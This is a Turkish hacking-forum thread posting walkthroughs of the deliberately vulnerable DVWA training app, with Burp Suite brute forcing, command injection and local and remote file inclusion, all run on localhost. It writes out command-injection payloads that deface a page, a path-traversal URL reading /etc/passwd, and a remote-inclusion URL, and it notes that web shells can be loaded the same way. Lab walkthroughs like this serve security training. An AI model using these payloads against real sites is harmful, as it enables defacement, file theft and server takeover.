İPUCU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

DVWA Çözümleri ~ Anka Tim

21-02-2019 20:09
#1
The CrueL - ait Kullanıcı Resmi (Avatar)
Sosyal Medya Tim Lider Yardımcısı
Üyelik tarihi:
09/2013
Nereden:
Ahıska
Mesajlar:
4.340
Teşekkür (Etti):
3932
Teşekkür (Aldı):
2172
Konular:
277
Ticaret:
(0) %


Bu konu altında DVWA'nın çözümleri paylaşılacaktır.

DVWA (Damn Vulnerable Web Application) Nedir?
Web uygulama güvenliği alanında kendini geliştirmek isteyenler için PHP ile yazılan ve içinde bazı web açıklarını bulunduran bir eğitim sistemidir. Yani daha açık bir ifadeyle web güvenlik açıklarını gerçek siteler/sistemler üzerinde değil de bu sistem üzerinde deneyebiliyoruz.

Dört zorluk seviyesi bulunuyor. Bunlar; low, medium, high ve impossible.

DVWA Hangi Zaafiyetleri Barındırıyor?
*Brute Force
*Command Injection
*CSRF
*File Inclusion
*File Upload
*Insecure CAPTCHA
*SQL Injection
*SQL Injection (Blind)
*Weak Session IDs
*XSS (DOM)
*XSS (Reflected)
*XSS (Stored)
*CSP Bypass
*JavaScript


------------

ANKA TİM



Kullanıcı İmzası

Türkçülük dün bir kaynaktı, bugün bir çaydır.
Yarın coşkun bir ırmak olacak ve önünde yabancı duygu ve düşüncelerden gelen bütün engeller yıkılacaktır..


Konu The CrueL tarafından (23-02-2019 21:26 Saat 21:26 ) değiştirilmiştir.

22-02-2019 21:32
#2
The CrueL - ait Kullanıcı Resmi (Avatar)
Sosyal Medya Tim Lider Yardımcısı
Üyelik tarihi:
09/2013
Nereden:
Ahıska
Mesajlar:
4.340
Teşekkür (Etti):
3932
Teşekkür (Aldı):
2172
Konular:
277
Ticaret:
(0) %


Brute Force Nedir?
Türkçe karşılığı kaba kuvvettir. Deneme yanılma yoluyla bir sistemin şifresinin tespit edilmeye çalışılmasıdır. Daha önceden oluşturulmuş "olası" yüzlerce belki binlerce kullanıcı adı ve şifre kaba kuvvet yoluyla sistem üzerinde denenir. Eğer doğru kullanıcı adı ve şifre kombinasyonu listenizde varsa sistemin şifresini tespit etmiş olursunuz. İnternette hazırlanmış çeşitli listeler var. Örnek verelim.




Yukarıda kullanıcı adı listesi ve şifre listesi mevcut. Denenecek kombinasyonlar şöyle olacaktır:

admin - 12345

admin - password
root - 12345
root - password


Denenen kullanıcı adı ve şifre sayısı arttıkça denenecek kombinasyonlar da artar. Bu sebeple sistemin şifresini tespit etme olasılığı da artar. Ancak bu listeler uzadıkça yapılan saldırının süresi uzar.


Daha açıklayıcı olması için video anlatım ve görsel anlatım yaptım.







Bu saldırı için ben "burpsuite" aracını kullanacağım. Bu aracı Windows'da da Linux'da da kullanabilirsiniz. Linux'u tavsiye ederim.

Aslında bu yaptığımız Sözlük Saldırısı (Dictionary Attack) olarak geçiyor ancak fazla detaya girmek istemiyorum.

Peki ne yapıyor bu araç? Neden kullanıyoruz?
Burpsuite bir proxy aracıdır. İstemci ve sunucu arasında proxy olarak kullanılır. Burp Suite tüm istek ve cevapların ayrıntılı bir şekilde incelenebilmesine ve diğer özellikleri ile farklı işlemler yapılabilmesine olanak sağlayan bir araçtır. Yani şu şekilde bir durum vardır;




Şimdi bu saldırıyı DVWA üzerinde nasıl yapacağız bakalım..


~"DVWA Security" sekmesinden seçim yapmamız gerek. "low" olarak seçim yapıp "Submit" diyoruz. Daha sonra "Brute Force" sekmesine geliyoruz.




~Burpsuite'i çalıştırıp Proxy > Options yolunu açıyoruz. "Proxy Listeners" başlığı altından "Edit" diyoruz.



~Ayarları bu şekilde düzenliyip "OK" diyoruz.




~Sayfayı aşağı kaydırıp "Intercept WebSockets Messages" bağlığı altından "Intercept client-to-server messages" işaretleyip "Intercept server-to-client messages" işaretini kaldırıyoruz.




~Daha sonra DVWA üzerinden "Brute Force" sekmesini açıp tarayıcı ayarlarına geçeceğiz(Firefox tavsiye ediyorum) Burası önemli. Önce "Brute Force" sekmesini açıp daha sonra Firefox'da sağ üstteki üç yatay çizgiden "Preferences"(tercihler) diyoruz. Yani "Brute Force" sekmesini açmadan ayarlara geçmiyoruz.




~Açılan sayfada en alta iniyoruz, "Network Proxy" başlığı altından Settings diyoruz ve ayarları buradaki gibi yapıyoruz. "No proxy for" kısmı boş kalacak, ona dikkat edelim. Daha sonra "Ok" diyoruz




~Şimdi DVWA üzerinden username ve password sallıyoruz. Bu işlemi yapmamızın sebebi burpsuite'in login işlemini yakalamasını sağlamaktır. "Login" dediğimiz anda burpsuite'de Proxy > Intercept > Raw yoluna istek düşüyor. Açılan sayfada sağ tık yapıp "Send to Intruder" diyoruz.




~Intruder sekmesine gidip sağ taraftan "Clear" diyoruz. Böylece burpsuite'in saldırı için seçtiği parametreleri kaldırmış oluyoruz. Bunu kendimiz ekleyeceğiz.




~username değeri olan "deneme"ye çift tıklayıp sağdan "Add" butonuna tıklıyoruz. Aynı şekilde password değeri olan "deneme"ye çift tıklayıp "Add" diyoruz. Attack Type "Cluster Bomb" olarak seçiyoruz.




~"Payloads" sekmesinden "Payload Set" değerini "1" yapıp "Payload Options [Simple List]" altından "Clear" deyip "Load" ile username listemizi seçiyoruz.




~"Payload Set" değerini "2" yaparak aynı şekilde "Load" ile password listemizi seçiyoruz.




~"Options" sekmesinden "Grep - Match" altından "Clear" diyoruz. Daha sonra kutucuğa "incorrect" yazıp "Add" diyoruz. Böylece atak bittiğinde olumsuz sonuçlar işaretlenecektir.




~Son olarak sağ üstten "Start Attack" diyoruz, saldırı başlıyor. Saldırı bittiğinde denenen kombinasyonlardan biriyle olumlu sonuç alınmışsa bulunan username ve password değeri şu şekilde görünecektir

Kullanıcı İmzası

Türkçülük dün bir kaynaktı, bugün bir çaydır.
Yarın coşkun bir ırmak olacak ve önünde yabancı duygu ve düşüncelerden gelen bütün engeller yıkılacaktır..


Konu The CrueL tarafından (25-02-2019 00:27 Saat 00:27 ) değiştirilmiştir.
23-02-2019 14:45
#3
metonya - ait Kullanıcı Resmi (Avatar)
Siber İstihbarat Uzmanı
Üyelik tarihi:
12/2017
Nereden:
DerinDevlet
Mesajlar:
1.261
Teşekkür (Etti):
225
Teşekkür (Aldı):
341
Konular:
111
Ticaret:
(0) %
LOW SECURİTY FİLE UPLOAD . SİMPLE FİLE UPLOAD DWVA UPLOAD SHELL

Kullanıcı İmzası
Researcher
Konu The CrueL tarafından (23-02-2019 21:27 Saat 21:27 ) değiştirilmiştir.
24-02-2019 16:25
#4
Üyelik tarihi:
01/2018
Yaş:
22
Mesajlar:
1.501
Teşekkür (Etti):
1721
Teşekkür (Aldı):
764
Konular:
123
Ticaret:
(0) %
DVWA CSP Bypass (Low)

Web sitemizin hangi kaynakları yükleyip ve hangi kaynakları çalıştırabileceğine karar veremediğimiz yerlerde.CSP bize yardımcı olucaktır.Anlamı Content Security Policy (İçerik Güvenlik Politikaları) Web uygulamalarını güvenlik zaafiyetine karşı korumaktadır.CSP'nin desteklediği browserlarda iş görmektedir.Desteklemediği browserlarda (XSS) gibi güvenlik açığı kolayca sömürülmektedir.Bugünde bu CSP'nin Low (düşük) ayarda nasıl bypass edileceğini göstereceğim.

Kullanıcı İmzası
Eski Anka(Saldırı Timi) Üyesi (Tümgeneral)
Konu The CrueL tarafından (24-02-2019 17:44 Saat 17:44 ) değiştirilmiştir.
25-02-2019 02:58
#5
The CrueL - ait Kullanıcı Resmi (Avatar)
Sosyal Medya Tim Lider Yardımcısı
Üyelik tarihi:
09/2013
Nereden:
Ahıska
Mesajlar:
4.340
Teşekkür (Etti):
3932
Teşekkür (Aldı):
2172
Konular:
277
Ticaret:
(0) %




Komut Nedir?
Burada komut dediğimiz şey Windows'da CMD'ye Linux'da Terminal'e girilen, sisteme bir iş yaptıran komutlardır.

Command Injection Nedir?
Command Injection, yani komut enjeksiyonu hedef sistemde zaafiyet bulunduran bir uygulama sayesinde komut çalıştırılmasıdır.


Yani bu açıkla hedef sistemde aslında yetkiniz olmayan işlemleri yapabilirsiniz.







~DVWA Command Injection sayfasına bakalım. Burada bir text box var. Buraya domain adı veya ip adresi girdiğinizde 4 ping paketi yollar.






~Dönüt şu şekilde olacaktır. Girdiğimiz adresin aynısının çıktıda da olduğuna dikkatinizi çekmek isterim.






~Eğer bu açık mevcutsa saldırgan komut satırında ping komutunun yanına kendi çalıştırmak istediği komutu da ekleyebilir. Böylece istediği işlemleri yaptırabilir.


Birkaç basit komut daha çalıştıralım..


Burada ";" ile bir alt satırda komut çalıştırıyoruz. "ls" ile de klasörleri ve dosyaları listeliyoruz.
Kod:
127.0.0.1;ls


Bir üst dizinde bulunan klasör ve dosyaları listeliyoruz.
Kod:
127.0.0.1;cd .. && ls


Üst dizinin üst dizininde bulunanlar..
Kod:
127.0.0.1;cd .. ;cd .. && ls
Bir üst dizin daha..
Kod:
127.0.0.1;cd .. ;cd .. ;cd .. && ls
...


~Şimdi bu açık sayesinde bir sayfayı hackleyelim.
Bu işlemi yapmadan önce bilgisayarınıza kurduğunuz DVWA klasörünün içindeki vulnerabilities klasöründe bulunan exec'i bir yere yedekleyin. Bu işlem sonucunda DVWA'da bulunduğumuz sayfayı bozacağımız için eski haline getirmek isterseniz yedeklediğiniz dosyayı yine aynı yoldaki dosyayla değiştirebilirsiniz. Video anlatımın sonunda da gösterdim.
Sistemde şu komutu çalıştıracağız

Kod:
127.0.0.1 && echo "<h1>Hacked By qwqwq</h1>" > index.php


~Sayfayı yenilediğinizde sonuç böyle olacaktır










Kullanıcı İmzası

Türkçülük dün bir kaynaktı, bugün bir çaydır.
Yarın coşkun bir ırmak olacak ve önünde yabancı duygu ve düşüncelerden gelen bütün engeller yıkılacaktır..


Konu The CrueL tarafından (25-02-2019 08:30 Saat 08:30 ) değiştirilmiştir.
25-02-2019 16:37
#6
Üyelik tarihi:
01/2018
Yaş:
22
Mesajlar:
1.501
Teşekkür (Etti):
1721
Teşekkür (Aldı):
764
Konular:
123
Ticaret:
(0) %
DVWA XSS Stored (Low)

XSS yani Cross-Site Scripting bu saldırıların 2 çeşidi vardır. Stored ve Reflected. Stored saldırısı bir web uygulamasının giriş yerlerinde herhangi bir denetleme,filtreleme ve bloklama yoksa saldırgan giriş noktasına javascript kodu girerek veritabanına kaydolması işlemine denir. Saldırgan sayfaya javascript kodu ekleyerek veritabanına kaydeder ve sayfaya giren kurbanın çerezlerini çalarak kurbanın oturumundan siteye giriş yapar.

Kullanıcı İmzası
Eski Anka(Saldırı Timi) Üyesi (Tümgeneral)
S1NYOR, The CrueL, R4V3N, TuranAlemdar Teşekkür etti.
02-03-2019 15:05
#7
Üyelik tarihi:
01/2018
Yaş:
22
Mesajlar:
1.501
Teşekkür (Etti):
1721
Teşekkür (Aldı):
764
Konular:
123
Ticaret:
(0) %
DVWA JavaScript (Low)

Kullanıcı İmzası
Eski Anka(Saldırı Timi) Üyesi (Tümgeneral)
ciwors, The CrueL, oxcakmak, R4V3N, TuranAlemdar Teşekkür etti.
04-03-2019 18:59
#8
Üyelik tarihi:
01/2018
Yaş:
22
Mesajlar:
1.501
Teşekkür (Etti):
1721
Teşekkür (Aldı):
764
Konular:
123
Ticaret:
(0) %
Blind SQL Injection (Low)

Kullanıcı İmzası
Eski Anka(Saldırı Timi) Üyesi (Tümgeneral)
The CrueL, oxcakmak, R4V3N, TuranAlemdar Teşekkür etti.
12-03-2019 19:34
#9
Üyelik tarihi:
01/2018
Yaş:
22
Mesajlar:
1.501
Teşekkür (Etti):
1721
Teşekkür (Aldı):
764
Konular:
123
Ticaret:
(0) %
SQL Injection (Low)

Kullanıcı İmzası
Eski Anka(Saldırı Timi) Üyesi (Tümgeneral)
Zenotron, R4V3N, TuranAlemdar Teşekkür etti.
13-03-2019 01:41
#10
The CrueL - ait Kullanıcı Resmi (Avatar)
Sosyal Medya Tim Lider Yardımcısı
Üyelik tarihi:
09/2013
Nereden:
Ahıska
Mesajlar:
4.340
Teşekkür (Etti):
3932
Teşekkür (Aldı):
2172
Konular:
277
Ticaret:
(0) %
File Inclusion Açığı Nedir?

Türkçe karşılığı "Dosya Dahil Etme"dir. Saldırgan, bu açığı barındıran siteler üzerinde site yöneticisinin aslında sunmadığı ancak site sunucusunda bulunan dosyaları görüntüleyebilir veya siteye farklı dosyalar dahil edebilir.




File Inclusion açığının iki başlık altında inceleyeceğiz.

1- Local File Inclusion (LFI)
2- Remote File Inclusion (RFI)


DVWA File Inclusion sayfasına bakalım.. Sayfanın linkini inceleyelim.





Kod:
http://localhost/DVWA/vulnerabilities/fi/?page=include.php
(localhost'dan sonra gelen kısım sizde ufak farklılıklar gösterebilir.)

"?" sonrası parametredir."=" sonrası ile de parametreye değer atanır. Burada parametre "page" değer "include.php" dir.

Sayfada bulunan "file1.php", "file2.php" ve "file3.php" ye tıkladığınızda adres çubuğundaki link örnek olarak şu hali alacaktır(Ben "file1.php" ye tıklıyorum):





Kod:
http://localhost/DVWA/vulnerabilities/fi/?page=file1.php

Buradan anlıyoruz ki "page" parametresinin aldığı değere göre sayfa içeriği değişmekte.

Şİmdi biz ana dizine ulaşarak o kısımda çeşitli işlemler yapacağız.



1- Local File Inclusion

Bu kısımda sitenin barındığı sunucuda aslında görüntüleme izninin verilememesi gerektiği dosyaları bu açık sayesinde görüntüleyeceğiz. (Burada sunucu benim bilgisayarım oluyor. Site de benim bilgisayarımda barınıyor. Yani bilgisayarımdaki dosyalara erişeceğim.)

Örneğin Linux sunucularda bulunan ve önemli bilgiler içeren passwd dosyasını görüntülemeye çalışalım.
Bunun için öncelikle Linux dosya sistemi hiyerarşisine az da olsa hakim olmamız gerek.




Şu anda DVWA'nın File Inclusion sayfssının çalıştığı dizin şu(Bende bu şekilde. Sizde ufak farklılıklar gösterebilir.):

Kod:
/var/www/html/DVWA/vulnerabilities/fi/
Kod:
fi                                 ../
vulnerabilities           ../
DVWA                        ../
html                           ../
www                          ../
var                             ../

Üstteki görselde de gördüğünüz gibi "etc" dizinindeki "passwd" dosyasına ulaşmamız için bulunduğumuz konumdan 6 kez üst dizine geçmemiz gerek. Bu da demek oluyor ki 6 kez "../" komutu girilmeli ki istediğimiz dizine geçelim.

Şu komutu gireceğiz:


Kod:
http://localhost/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd


Ve istediğimiz dosyayı görüntülüyoruz..




Bu şekilde istediğiniz dizinlerde dolaşıp dosyaları görüntüleyebilirsiniz.
Local Fİle Inclusion bu şekilde. Şİmdi Remote File Inclusion..



2- Remote File Inclusion


RFI'da da LFI'da yaptığımızın benzeri işlemler yapacağız ancak aradaki fark şu; LFI'da sitenin sunucusunda zaten bulunan dosyaları görüntülüyorduk, bu kez harici bir kaynaktan dosyaları dahil edeceğiz. Bu yöntem ile hedef siteye c99 vb shell dosyaları görüntületerek sunucu kontrol altına alınabilir. Shell kavramına az çok aşina olanlar ne dediğimi anlayacaktır.
Ancak ben burada fazla detaya girmeden basit bir html dosyasını dahil edeceğim.

Bir metin belgesine şu kodları yapıştırarak uzantısını ".html" yaptım.


Kod:
<br><br>
<font color="red"><center><h1>Hacked by Rakun</h1></center></font>
<br><br>


Şimdi bu dosyayı siteye dahil edelim..

Linkteki ilgili alana şunu ekliyorum


Kod:
http://localhost/rakun.html
Hani harici bir kaynaktan dosya dahil edecektik, yine kendi bilgisayarımızdan yapıyoruz diyenler olabilir Burada localhost'dan dahil ettiğimiz için localhost'u bir sunucu/web sitesi olarak düşünebilirsiniz. Devam edelim, birazdan bu dediğimi daha iyi anlayacaksınız.

Linkin son hali şu şekilde olmalı:


Kod:
http://localhost/DVWA/vulnerabilities/fi/?page=http://localhost/rakun.html


Bu konuma gittiğimizde sayfada istediğimiz değişikliği yaptığımızı görüyoruz




Az önce bahsettiğim konuya dönelim. Şimdi gerçek bir web sitesindeki herhangi bir html uzantılı sayfayı görüntüleyelim ve bu sayffayı açıklı siteye dahil etmeye çalışalım. Ben şu siteyi seçtim




Gideceğimiz adres şu şekilde olacak

Kod:
http://localhost/DVWA/vulnerabilities/fi/?page=https://www.w3.org/Style/Examples/011/firstcss.en.html
Adrese gittiğimizde sayfamız böyle saçma sapan bir hal alacak Önemli değil, sonuç olarak mantığını anladık. Açıklı sitenin üzerinde herhangi bir konumdan dosya/sayfa dahil ettik.




Aynı şekilde shell dosyanızı da dahil edebilirsiniz.
Kullanıcı İmzası

Türkçülük dün bir kaynaktı, bugün bir çaydır.
Yarın coşkun bir ırmak olacak ve önünde yabancı duygu ve düşüncelerden gelen bütün engeller yıkılacaktır..


Konu The CrueL tarafından (13-03-2019 02:33 Saat 02:33 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı